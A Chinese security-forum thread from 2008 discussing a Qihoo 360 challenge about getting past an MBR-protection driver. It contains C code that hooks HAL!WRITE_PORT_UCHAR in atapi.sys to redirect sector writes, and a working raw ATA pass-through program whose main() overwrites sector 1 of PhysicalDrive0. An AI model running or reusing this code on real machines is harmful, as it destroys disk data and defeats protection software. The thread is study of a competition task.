首页
论坛
课程
招聘
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝

[原创]奇虎360第1题 hook WRITE_PORT_UCHAR

2008-12-19 10:57 58022

[原创]奇虎360第1题 hook WRITE_PORT_UCHAR

2008-12-19 10:57
58022
懒得打字了,直接copy 答案提交区的帖子吧,有什么不好的不要笑俺,俺是初学
由于里面废话太多,大概内容为:mbrprot.sys  会定时检查 01 号扇区,发现不对就清0。我的方法是 阻止  mbrprot.sys  清 0,通过 hook  HAL!WRITE_PORT_UCHAR,控制对硬盘端口的访问  使得任何 利用atapi.sys 访问 01 扇区的方法都无效。

我的看法是其实 这题是要我们写一个 驱动来保护 01 号扇区, 这题太**了

第一题解题报告

一、分析
    刚开始我认为解这题的方法很简单,不管三七二十一直接io端口读写硬盘,然后解题完毕。压根不用管

mbrprot.sys 如何工作的,因为 mbrprot.sys 很难拦截 io 操作,难到几乎不可能。
代码写出来的时候我很高兴,因为在虚拟机(xp)上成功了,然而其实并没有,当我在真机子(2003)上运行时,失败了...。这要批评一下mbrprot.sys  的稳定性了, mbrprot.sys  老是 无缘罢工,而且貌似在 xp 下有点问题。走题了,不好意思...。

    经我观察 mbrprot.sys 并没有保护 硬盘的 1 号扇区,而是一味的向 1 号 扇区写入 0 。用 softice 设这样的断点 bpio 1f7 w   我发现(没弄错的话) mbrprot.sys 每隔一段时间(约5s)检查 1 号扇区。 同时我也发现 系统只有 atapi.sys 访问了硬盘, 也就是说 mbrprot.sys 是利用 atapi.sys 访问硬盘的,并非直接 io 之类的。 那么现在的任务就很清楚了:只要阻止 mbrprot.sys 往 01 号写入 0 就可以了 (出这道题的用意也清楚了,嘿嘿 ) 。

     怎么阻止 ? hook atapi.sys 的派遣函数吧 ,不过我第一时间想到的方法 说不定出题的人也早就想到了... 。通过 跟踪断点 bpio 1f7 w ,我发现 atapi.sys 是通过 HAL!WRITE_PORT_UCHAR 向硬盘的寄存器写数据的,如果 hook 掉 HAL!WRITE_PORT_UCHAR ,将 atapi.sys 向 硬盘写入的数据过滤掉,那么...

    但这方法是否可行呢,不用理论证明,因为我已经实践证明了。通过 hook 掉 HAL!WRITE_PORT_UCHAR 向 atapi.sys 提供一个虚假的硬件,拦截向真实硬盘发送的数据。其实该方法之所以可行完全依赖于 当向硬盘写入 扇区号,磁道号,磁头号 等等时 ,硬盘不会有任何反应,所以把这些数据拦截下来 延迟发送才不会出错。

二、我的实现方法
    由于在虚拟机上 mbrprot.sys 老是罢工,因此我只能在真机上进行了(不知道评委能不能看在 我蓝屏了无数次,mbr被写坏了一次 的份上给俺多加几分呢...)。由于是在自己的机子上试,为了减小程序出错时的严重性 我决定 只 hook atapi.sys 的 IAT(导入地址表),又因为 HAL!WRITE_PORT_UCHAR 这个函数本身就只有几个指令,不用 hook 直接替换就可以了。
    总的来说,程序只有两步:1、直接 io 向硬盘 01 扇区写入 数据;2、替换 atapi.sys IAT 中的 HAL!WRITE_PORT_UCHAR 为自己的 write_port 。

三、关键代码 (write_port 的代码)

放血了,有点痛,评委加点分鼓励一下吧。

1、直接 io 向硬盘 01 扇区写入 数据 的代码 网上到处都有。
2、hook 驱动导入表的代码 ,rootkit.com 上有, 看雪里面也有人(sysnap)发过 ,我是学习了他的一部分(发扬了大学生的借鉴风格)
3、write_port 完全原创 (如果要“借鉴”请申明以下出处:zdg102
申明:write_port 完全没有考虑 lba48 的情况(本人没有 160G 的硬盘),lba48 下无法正常工作

#define REG_CMD_BASE0  0x1F0

#define REG_DATA      0  /*数据寄存器*/  
#define REG_PRECOMP      1  
#define REG_COUNT      2  /*扇区数*/
#define REG_SECTOR      3  /*扇区号 */
#define REG_CYL_LO      4  /*  */
#define REG_CYL_HI      5  /*  */
#define REG_LDH        6  /*  */

#define   CMD_WRITE    0x30  /* 写数据 */
#define    CMD_WRITE_EXT    0x34  /**/

void out_b(uint port,uint v)
{//写端口函数
  __asm{
    mov  edx,port;
    mov  eax,v;
    out  dx,al;

  }
}

int send_cmd(unsigned char p[],unsigned char cmd,unsigned int mask)
/*向硬盘发送命令,
p 数组是个寄存器的内容,cmd 是命令,mask 说明 p 中那些内容是有效的。
*/
{
/*author: zdg102 */  
  unsigned char i;
  unsigned int j;
  for(i = 1,j=0;(i&0xff)>0;i<<=1,j++)
  {
    if(mask & i)
      out_b(REG_CMD_BASE0+j ,p[j]);
  }
  out_b(REG_CMD_BASE0 + REG_COMMAND, cmd);
  return 1;
}

unsigned char at_rig[8]={0,0,0,0,0,0,0,0}; /*保存 atapi.sys 向硬盘写入的数据*/
unsigned int rig_mask = 0;                 /*保存 atapi.sys 向硬盘哪些寄存器写入了数据*/

void __stdcall write_port(unsigned int port,unsigned int value)
/*  用来替换 WRITE_PORT_UCHAR  的函数
*/
{
  /*author: zdg102 */  
  port &=0xffff;
  value &= 0xff;

/*判断要写入的端口是否在 硬盘的端口范围之内*/

  if( port> REG_CMD_BASE0 && port <= REG_CMD_BASE0+ 7)
  {
    //判断是否是 控制命令
    if(port == (REG_CMD_BASE0+REG_COMMAND))
    {
      // 判断是否是 写入命令
      if(value == CMD_WRITE || value == CMD_WRITE_EXT || value == 0xca || value

== 0x35)
      {
        //判断 是否写入 01 号 扇区
        if((at_rig[REG_CYL_HI] == 0)&& (at_rig[REG_CYL_LO] == 0) &&

(at_rig[REG_SECTOR] == 1) && ((at_rig[REG_LDH]&0x10) == 0))
        {
          at_rig[REG_SECTOR] = 2;
          /*改为 2号 扇区,应该可以成一个不存在扇区,但我不敢在
          自己机子上试 */
        }
      }
      //向真实硬盘 发送命令
      send_cmd(at_rig,value,rig_mask);
      rig_mask = 0;
      return ;
    }
    else
    {
      at_rig[port-REG_CMD_BASE0] = value;

      if(port == (REG_CMD_BASE0 + REG_LDH) )
        out_b(port,value);
      else
        rig_mask |= (1<<(port-REG_CMD_BASE0));
      
      return ;
    }
    return ;
  }
  else
  {
    out_b(port,value);
    return ;
  }
}

加载 MadeByZDG.sys 后,所有 向 01号 扇区写入的数据 都将被 转道 02 号 扇区。
可以用 winhex 试一下,很有意思的。

其实现 在 atapi.sys 还要往下一层。因此 什么 直接 irp  、 ioctrl 之类的 都无效,希望大家可以帮我多测一下

有个问题没有考虑的就是 :向 0 号扇区写入的数据 不会被 过滤,因此 如果向 0 号扇区写入 2 个扇区的数据 应该.....

[看雪官方培训]《安卓高级研修班(网课)》9月班开始招生!顶尖技术、挑战极限、工资翻倍!

上传的附件:
最新回复 (41)
雪    币: 219
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
glery 活跃值 2 2008-12-19 11:00
2
0
好忙啊,学习
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-19 11:01
3
0
没见答题区开放,但是又想看大牛是怎么做题的,只好先抛砖引玉了,可是我只做了2题,而且只有这题拿得出手,希望大家不要笑俺。也希望大牛多发代码,让我们这些菜鸟多学习学习
雪    币: 42
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
nevergone 活跃值 3 2008-12-19 11:09
4
0
不用HOOK
直接挂设备到DR0上,拦截写1号扇区操作
就OK了
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-19 11:20
5
0
是啊,咋就没想到 4 楼的方法啊,牛
雪    币: 441
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
Sysnap 活跃值 14 2008-12-19 12:06
6
0
呵呵...deamon就是X这个地方....ATA很强大
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 12:09
7
0
lba48 (160G 的硬盘)下的情况怎么读写硬盘呢?
雪    币: 2648
活跃值: 活跃值 (105)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2008-12-19 12:17
8
0
第一题其实可以hboot的说~
雪    币: 2648
活跃值: 活跃值 (105)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2008-12-19 12:18
9
0
ring3下直接IO写磁盘,然后hboot
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 12:27
10
0
怎么写?想看看……
雪    币: 2648
活跃值: 活跃值 (105)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2008-12-19 12:27
11
0
很老很土的东西
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 12:28
12
0
\\.\PhysicalDrive0这个么?然后重启?太猥亵了……
雪    币: 2648
活跃值: 活跃值 (105)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2008-12-19 12:33
13
0
直接io了~
http://hi.baidu.com/killvxk/blog/item/be059d5097d4ea1f367abe90.html
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 12:58
14
0
这个对大硬盘不管用吧?
雪    币: 2648
活跃值: 活跃值 (105)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
cvcvxk 活跃值 10 2008-12-19 13:15
15
0
大硬盘只能写头几个扇区
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 13:19
16
0
要是想写后面的有什么方法没?老v指导一下啊~
我试验的时候发现在大硬盘上头几个扇区读出来的都不是正确的数据
雪    币: 141
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
XSJS 活跃值 2008-12-19 13:27
17
0
这题害死我了!!!!!!!我测试总成功,给评委打分,才40
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
windsun 活跃值 1 2008-12-19 14:32
18
0
LZ没有完全穿透保护,好几层呢
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
blackleak 活跃值 2008-12-19 14:51
19
0
第一题给我的感觉好像是文件驱动过滤,不知道通过挂载文件过滤驱动是否能实现。起码3721是这方面的鼻祖啊!
雪    币: 459
活跃值: 活跃值 (11)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2008-12-19 14:52
20
0
没有研究就不要发言好了
雪    币: 141
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
XSJS 活跃值 2008-12-19 14:54
21
0
所有人都是从菜鸟过来的,为什么不可以发言啊?
雪    币: 459
活跃值: 活跃值 (11)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2008-12-19 15:07
22
0
没有调查就没有发言权,XX说的
另外,没说菜鸟不可以发言
雪    币: 42
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
nevergone 活跃值 3 2008-12-19 17:45
23
0
不过文件过滤驱动
是磁盘层了
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-19 21:03
24
0
lba48 也差不多,但是我自己没有试过读 160G 的硬盘(没160G硬盘..),下面是英文原始资料 里面有表格贴不上来。
6.33      READ MULTIPLE EXT
6.33.1   Command code
29h
6.33.2 Feature set
48-bit Address feature set
− Mandatory for all devices implementing the 48-bit Address feature set.
− Use prohibited when the PACKET command feature set is implemented
6.33.3 Protocol
PIO data-in (See Clause 11).

6.33.4 Inputs

Sector Count Current -
number of sectors to be transferred low order, bits (7:0).
Sector Count Previous -
number of sectors to be transferred high order, bits (15:8). 0000h in the Sector Count register
specifies that 65,536 sectors are to be transferred.
LBA Low Current -
LBA (7:0).
LBA Low Previous -
LBA (31:24).
LBA Mid Current -
LBA (15:8).
LBA Mid Previous -
LBA (39:32).
LBA High Current -
LBA (23:16).
LBA High Previous -
LBA (47:40).
Device -
DEV shall specify the selected device.
LBA shall be set to one

6.33.7 Prerequisites
DRDY set to one. If bit 8 of IDENTIFY DEVICE data word 59 is cleared to zero, a successful SET MULTIPLE
MODE command shall precede a READ MULTIPLE EXT command.
6.33.8 Description
This command reads the number of sectors specified in the Sector Count register.
The number of sectors per block is defined by a successful SET MULTIPLE command. If no successful SET
MULTIPLE command has been issued, the block is defined by the device’s default value for number of
sectors per block as defined in bits (7:0) in word 47 in the IDENTIFY DEVICE data. The device shall interrupt
for each DRQ block transferred.
When the READ MULTIPLE EXT command is issued, the Sector Count register contains the number of
sectors (not the number of blocks) requested.
If the number of requested sectors is not evenly divisible by the block count, as many full blocks as possible
are transferred, followed by a final, partial block transfer. The partial block transfer shall be for n sectors,
where n = remainder (sector count/ block count).
If the READ MULTIPLE EXT command is received when READ MULTIPLE commands are disabled, the
READ MULTIPLE operation shall be rejected with command aborted.
Device errors encountered during READ MULTIPLE EXT commands are posted at the beginning of the
block or partial block transfer, but the DRQ bit is still set to one and the data transfer shall take place,
including transfer of corrupted data, if any. The contents of the Command Block Registers following the transfer of a data block that had a sector in error are undefined. The host should retry the transfer as
individual requests to obtain valid error information.
Subsequent blocks or partial blocks are transferred only if the error was a correctable data error. All other
errors cause the command to stop after transfer of the block that contained the error.

我说一下大概吧:

读 lba48 的 Command code 为 29h  , 输入参数中:
Features 寄存器保留;
Device 寄存器 LBA 位(6位) 设为 1 , DEV 位(4位) 需要设置;
Sector Count ; LBA Low ;LBA Mid ;LBA High; 这几个寄存器你可以把它理解成 16 位的,第一次往这些寄存器里写数据写到 高八位,第二次则写到 低八位

LBA Low ;LBA Mid ;LBA High; 加起来 共 48 位,应此能寻址 48 位
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 22:48
25
0
我好好看看~呵呵,先谢过了!
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-19 23:04
26
0
本想写写 lba48 代码,测试一下再发上来,以后终归是要写的,但身体不太舒服,明天还要考四级... 只好下次了
雪    币: 461
活跃值: 活跃值 (64)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-12-19 23:17
27
0
LZ很厉害啊.

学习,现在的学生都这么厉害啊~~
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 23:22
28
0
写好了一定要发上来~~~我在线等了,嘿嘿。明天下午我也要考………………痛苦啊!!!!!
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 23:22
29
0
                                             ·
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-21 09:06
30
0
看了老v  io硬盘的代码, 用的是 CHS 寻址,最大可以访问 8G 硬盘 不存在只能访问头几个扇区的情况。不过我觉得吧,老v 的代码只在传输数据的时候关了中断,那么如果在传输数据之前发生了任务切换,并且切换的过程中 windows 访问了硬盘...那么当切换回来时 硬盘的状态已经发生改变了。其实也就是一个同步的问题

下面是 DeviceIoControl 访问硬盘的代码 , lba48 没有经过测试 ,weolar  能帮忙测一下不? (超过128 G 的硬盘 才用 lba48,不然一般不支持lba48)

直接 io 硬盘的代码就不发了(不想方便干坏事的人)。DeviceIoControl 的代码无法穿透我做一题的那个bin,所以还是可以发一下地。代码有什么错误的 一定要告诉俺,俺感激不尽,俺不想再做硬盘分区了。

#include <Windows.h>
#include <stdio.h>
#include <Winioctl.h>
#include "ntddscsi.h"

#define REG_PRECOMP            0       
#define REG_COUNT            1       
#define REG_SECTOR            2
#define REG_CYL_LO            3       
#define REG_CYL_HI            4       
#define REG_LDH                    5       
#define REG_COMMAND            6       

#define   LDH_DEFAULT                0xA0       
#define   LDH_LBA                0x40       

#define          CMD_WRITE_EXT                0x34
#define   CMD_WRITE                0x30       

#define   CMD_READ_EXT                0x24       
#define   CMD_READ                0x20       

typedef __int64 LONGLONG;

char * write_disk(LONGLONG sec,int cnt,void * buff,int is_lba48 )
{//sec :扇区号; cnt : 扇区数; is_lba48 :是否使用 lba48 ;不使用lba48 可寻址 128G
        HANDLE hDevice;               // handle to the drive to be examined
        BOOL bResult;                 // results flag
        DWORD junk;
        ATA_PASS_THROUGH_DIRECT  rigs;   //
                /*author: zdg102 */
        hDevice = CreateFile("\\\\.\\PhysicalDrive0",  // drive to open
                           GENERIC_ALL,                //
                            FILE_SHARE_READ | // share mode
                            FILE_SHARE_WRITE,
                            NULL,             // default security attributes
                            OPEN_EXISTING,    // disposition
                            0,                // file attributes
                            NULL);            // do not copy file attributes
                           
        if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
        {
                return "cannot open the drive";
        }
       
        rigs.Length = sizeof(rigs);
        rigs.AtaFlags = ATA_FLAGS_DATA_OUT  | ATA_FLAGS_DRDY_REQUIRED  ;//| ATA_FLAGS_USE_DMA;
        if(is_lba48)
                rigs.AtaFlags |= ATA_FLAGS_48BIT_COMMAND;
        rigs.PathId = 0;
        rigs.TargetId = 0 ;
        rigs.Lun = 0;  
        rigs.ReservedAsUchar = 0 ;
        rigs.DataTransferLength = cnt*512;
        rigs.TimeOutValue = 10;
        rigs.ReservedAsUlong = 0;
        rigs.DataBuffer = buff;
       
        rigs.CurrentTaskFile[REG_PRECOMP] = 0;
        rigs.CurrentTaskFile[REG_COUNT] =(char) cnt & 0xff;
        rigs.CurrentTaskFile[REG_SECTOR] =(char) sec & 0xff;
        rigs.CurrentTaskFile[REG_CYL_LO] =(char) (sec>>=8) & 0xff;
        rigs.CurrentTaskFile[REG_CYL_HI] =(char) (sec>>=8) & 0xff;

        rigs.CurrentTaskFile[REG_LDH] = LDH_DEFAULT | LDH_LBA;
        sec>>=8;
        if(!is_lba48)
                rigs.CurrentTaskFile[REG_LDH] |= (char) sec&0xf;

        if(is_lba48)
                rigs.CurrentTaskFile[REG_COMMAND] = CMD_WRITE_EXT;
        else
                rigs.CurrentTaskFile[REG_COMMAND] = CMD_WRITE;

        rigs.CurrentTaskFile[7] = 0;
       
        rigs.PreviousTaskFile[REG_PRECOMP] = 0;
        rigs.PreviousTaskFile[REG_COUNT] =(char) (cnt>>=8)&0xff;
        rigs.PreviousTaskFile[REG_SECTOR] =(char) (sec)&0xff;
        rigs.PreviousTaskFile[REG_CYL_LO] =(char) (sec>>=8)&0xff;
        rigs.PreviousTaskFile[REG_CYL_HI] =(char) (sec>>=8)&0xff;   
        rigs.PreviousTaskFile[REG_LDH] = LDH_DEFAULT | LDH_LBA;
        rigs.PreviousTaskFile[REG_COMMAND] = CMD_WRITE_EXT;
        rigs.PreviousTaskFile[7] = 0;
       
        bResult = DeviceIoControl(hDevice,  // device to be queried
        IOCTL_ATA_PASS_THROUGH_DIRECT,  // operation to perform
                             &rigs, sizeof(rigs), // no input buffer
                            &rigs, sizeof(rigs),     // output buffer
                            &junk,                 // # bytes returned
                            (LPOVERLAPPED) NULL);  // synchronous I/O
       
        if(!bResult)
        {
                bResult = GetLastError();
                return "call DeviceIoControl error\n";
        }
        CloseHandle(hDevice);

        return 0;
}

char * read_disk(LONGLONG sec,int cnt,void * buff,int is_lba48 )
{
        HANDLE hDevice;               // handle to the drive to be examined
        BOOL bResult;                 // results flag
        DWORD junk;
        ATA_PASS_THROUGH_DIRECT  rigs;   //
                /*author: zdg102 */
        hDevice = CreateFile("\\\\.\\PhysicalDrive0",  // drive to open
                           GENERIC_ALL,                //
                            FILE_SHARE_READ | // share mode
                            FILE_SHARE_WRITE,
                            NULL,             // default security attributes
                            OPEN_EXISTING,    // disposition
                            0,                // file attributes
                            NULL);            // do not copy file attributes
                           
        if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
        {
                return "cannot open the drive";
        }
       
        rigs.Length = sizeof(rigs);
        rigs.AtaFlags = ATA_FLAGS_DATA_IN  | ATA_FLAGS_DRDY_REQUIRED  ;//| ATA_FLAGS_USE_DMA;
        if(is_lba48)
                rigs.AtaFlags |= ATA_FLAGS_48BIT_COMMAND;
        rigs.PathId = 0;
        rigs.TargetId = 0 ;
        rigs.Lun = 0;  
        rigs.ReservedAsUchar = 0 ;
        rigs.DataTransferLength = cnt*512;
        rigs.TimeOutValue = 10;
        rigs.ReservedAsUlong = 0;
        rigs.DataBuffer = buff;
       
        rigs.CurrentTaskFile[REG_PRECOMP] = 0;
        rigs.CurrentTaskFile[REG_COUNT] =(char) cnt & 0xff;
        rigs.CurrentTaskFile[REG_SECTOR] =(char) sec & 0xff;
        rigs.CurrentTaskFile[REG_CYL_LO] =(char) (sec>>=8) & 0xff;
        rigs.CurrentTaskFile[REG_CYL_HI] =(char) (sec>>=8) & 0xff;

        rigs.CurrentTaskFile[REG_LDH] = LDH_DEFAULT | LDH_LBA;
        sec>>=8;
        if(!is_lba48)
                rigs.CurrentTaskFile[REG_LDH] |= (char) sec&0xf;

        if(is_lba48)
                rigs.CurrentTaskFile[REG_COMMAND] = CMD_READ_EXT;
        else
                rigs.CurrentTaskFile[REG_COMMAND] = CMD_READ;

        rigs.CurrentTaskFile[7] = 0;
       
        rigs.PreviousTaskFile[REG_PRECOMP] = 0;
        rigs.PreviousTaskFile[REG_COUNT] =(char) (cnt>>=8)&0xff;
        rigs.PreviousTaskFile[REG_SECTOR] =(char) (sec)&0xff;
        rigs.PreviousTaskFile[REG_CYL_LO] =(char) (sec>>=8)&0xff;
        rigs.PreviousTaskFile[REG_CYL_HI] =(char) (sec>>=8)&0xff;   
        rigs.PreviousTaskFile[REG_LDH] = LDH_DEFAULT | LDH_LBA;
        rigs.PreviousTaskFile[REG_COMMAND] = CMD_READ_EXT;
        rigs.PreviousTaskFile[7] = 0;
       
        bResult = DeviceIoControl(hDevice,  // device to be queried
        IOCTL_ATA_PASS_THROUGH_DIRECT,  // operation to perform
                             &rigs, sizeof(rigs), // no input buffer
                            &rigs, sizeof(rigs),     // output buffer
                            &junk,                 // # bytes returned
                            (LPOVERLAPPED) NULL);  // synchronous I/O
       
        if(!bResult)
        {
                bResult = GetLastError();
                return "call DeviceIoControl error\n";
        }
        CloseHandle(hDevice);

        return 0;
}

char data[1024] = "fuck your disk";

int main()
{
        int i,j,k;
        i=0;

        write_disk(1,1,data,0);

        do
        {
                read_disk(i,1,data,0);
                for(k=0;k<0x20;k++)
                {
                        for(j=0;j<16;j++)
                        {
                                printf("%2X ",data[j+k*16]&0xff);
                        }
                        printf("   ");
                        for(j=0;j<16;j++)
                        {
                                if( (data[j+k*16]&0xff) > 0x20 && (data[j+k*16]&0xff) < 0x7f)
                                        printf("%c",data[j+k*16]&0xff);
                                else
                                        printf(".");
                        }
                        printf("\n");
                }
                scanf("%d",&i);
        }while(i>=0);
       
       
        printf("ok");
       
        return 0;
}
雪    币: 459
活跃值: 活跃值 (11)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2008-12-21 09:41
31
0
ata pass through没意思,早被guard field拦了~
老V那个代码纯属意淫,完全没法用的 试试就知道
雪    币: 441
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
Sysnap 活跃值 14 2008-12-21 09:52
32
0
汗....正想ata pass through呢/....
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-21 10:23
33
0
呵呵,我测试在大硬盘上没问题
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wdsm 活跃值 2008-12-21 12:12
34
0
好东西,来看看。这题我中招了。
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-28 13:25
35
0
贴个老点的lba48资料:

LBA HDD Access via PIO
Every operating system will eventually find a need for reliable, long-term storage. There are only a handful of commonly used storage devices:

Floppy

Flash media

CD-ROM

Hard drive

Hard drives are by far the most widely used mechanism for data storage, and this tutorial will familiarize you with a practical method for accessing them. In the past, a method known as CHS was used. With CHS, you specified the cylinder, head, and sector where your data was located. The problem with this method is that the number of cylinders that could be addressed was rather limited. To solve this problem, a new method for accessing hard drives was created: Linear Block Addressing (LBA). With LBA, you simply specify the address of the block you want to access. Blocks are 512-byte chunks of data, so the first 512 bytes of data on the disk are in block 0, the next 512 bytes are in block 1, etc. This is clearly superior to having to calculate and specify three separate bits of information, as with CHS. However, there is one hitch with LBA. There are two forms of LBA, which are slightly different: LBA28 and LBA48. LBA28 uses 28 bits to specify the block address, and LBA48 uses 48 bits. Most drives support LBA28, but not all drives support LBA48. In particular, the Bochs emulator supports LBA28, and not LBA48. This isn't a serious problem, but something to be aware of. Now that you know how LBA works, it's time to see the actual methods involved.

To read a sector using LBA28:

Send a NULL byte to port 0x1F1: outb(0x1F1, 0x00);

Send a sector count to port 0x1F2: outb(0x1F2, 0x01);

Send the low 8 bits of the block address to port 0x1F3: outb(0x1F3, (unsigned char)addr);

Send the next 8 bits of the block address to port 0x1F4: outb(0x1F4, (unsigned char)(addr >> 8);

Send the next 8 bits of the block address to port 0x1F5: outb(0x1F5, (unsigned char)(addr >> 16);

Send the drive indicator, some magic bits, and highest 4 bits of the block address to port 0x1F6: outb(0x1F6, 0xE0 | (drive << 4) | ((addr >> 24) & 0x0F));

Send the command (0x20) to port 0x1F7: outb(0x1F7, 0x20);

To write a sector using LBA28:

Do all the same as above, but send 0x30 for the command byte instead of 0x20: outb(0x1F7, 0x30);

To read a sector using LBA48:

Send two NULL bytes to port 0x1F1: outb(0x1F1, 0x00); outb(0x1F1, 0x00);

Send a 16-bit sector count to port 0x1F2: outb(0x1F2, 0x00); outb(0x1F2, 0x01);

Send bits 24-31 to port 0x1F3: outb(0x1F3, (unsigned char)(addr >> 24));

Send bits 0-7 to port 0x1F3: outb(0x1F3, (unsigned char)addr);

Send bits 32-39 to port 0x1F4: outb(0x1F4, (unsigned char)(addr >> 32));

Send bits 8-15 to port 0x1F4: outb(0x1F4, (unsigned char)(addr >> 8));

Send bits 40-47 to port 0x1F5: outb(0x1F5, (unsigned char)(addr >> 40));

Send bits 16-23 to port 0x1F5: outb(0x1F5, (unsigned char)(addr >> 16));

Send the drive indicator and some magic bits to port 0x1F6: outb(0x1F6, 0x40 | (drive << 4));

Send the command (0x24) to port 0x1F7: outb(0x1F7, 0x24);

To write a sector using LBA48:

Do all the same as above, but send 0x34 for the command byte, instead of 0x24: outb(0x1F7, 0x34);

Once you've done all this, you just have to wait for the drive to signal that it's ready:

while (!(inb(0x1F7) & 0x08)) {}

And then read/write your data from/to port 0x1F0:

// for read:

for (idx = 0; idx < 256; idx++)

{

tmpword = inw(0x1F0);

buffer[idx * 2] = (unsigned char)tmpword;

buffer[idx * 2 + 1] = (unsigned char)(tmpword >> 8);

}

// for write:

for (idx = 0; idx < 256; idx++)

{

tmpword = buffer[8 + idx * 2] | (buffer[8 + idx * 2 + 1] << 8);

outw(0x1F0, tmpword);

}

Of course, all of this is useless if you don't know what drives you actually have hooked up. Each IDE controller can handle 2 drives, and most computers have 2 IDE controllers. The primary controller, which is the one I have been dealing with thus-far has its registers located from port 0x1F0 to port 0x1F7. The secondary controller has its registers in ports 0x170-0x177. Detecting whether controllers are present is fairly easy:

Write a magic value to the low LBA port for that controller (0x1F3 for the primary controller, 0x173 for the secondary): outb(0x1F3, 0x88);

Read back from the same port, and see if what you read is what you wrote. If it is, that controller exists.

Now, you have to detect which drives are present on each controller. To do this, you simply select the appropriate drive with the drive/head select register (0x1F6 for the primary controller, 0x176 for the secondary controller), wait a small amount of time (I wait 1/250th of a second), and then read the status register and see if the busy bit is set:

outb(0x1F6, 0xA0); // use 0xB0 instead of 0xA0 to test the second drive on the controller

sleep(1); // wait 1/250th of a second

tmpword = inb(0x1F7); // read the status port

if (tmpword & 0x40) // see if the busy bit is set

{

printf("Primary master exists\n");

}

And that about wraps it up. Note that I haven't actually tested my LBA48 code, because I'm stuck with Bochs, which only supports LBA28. It should work, according to the ATA specification.

If any of this is inaccurate or unclear, just email me at marsdragon88@gmail.com.
雪    币: 441
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
Sysnap 活跃值 14 2008-12-28 18:31
36
0
嗯....读写扇区走到IN/OUT指令...下面的就是在ox1f0-0x1f7下断点了..
雪    币: 191
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
曾定国 活跃值 1 2008-12-29 20:28
37
0
咳!怎么我就没找到这么详细的资料啊,悲痛,早看到就不用去纯dos 跟踪 int 13 了

weolar 在哪找到的 ?
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-29 20:30
38
0

你说lba48,我就到处搜索lba48 io 、port等关键字,无意中找到的
雪    币: 191
活跃值: 活跃值 (10)
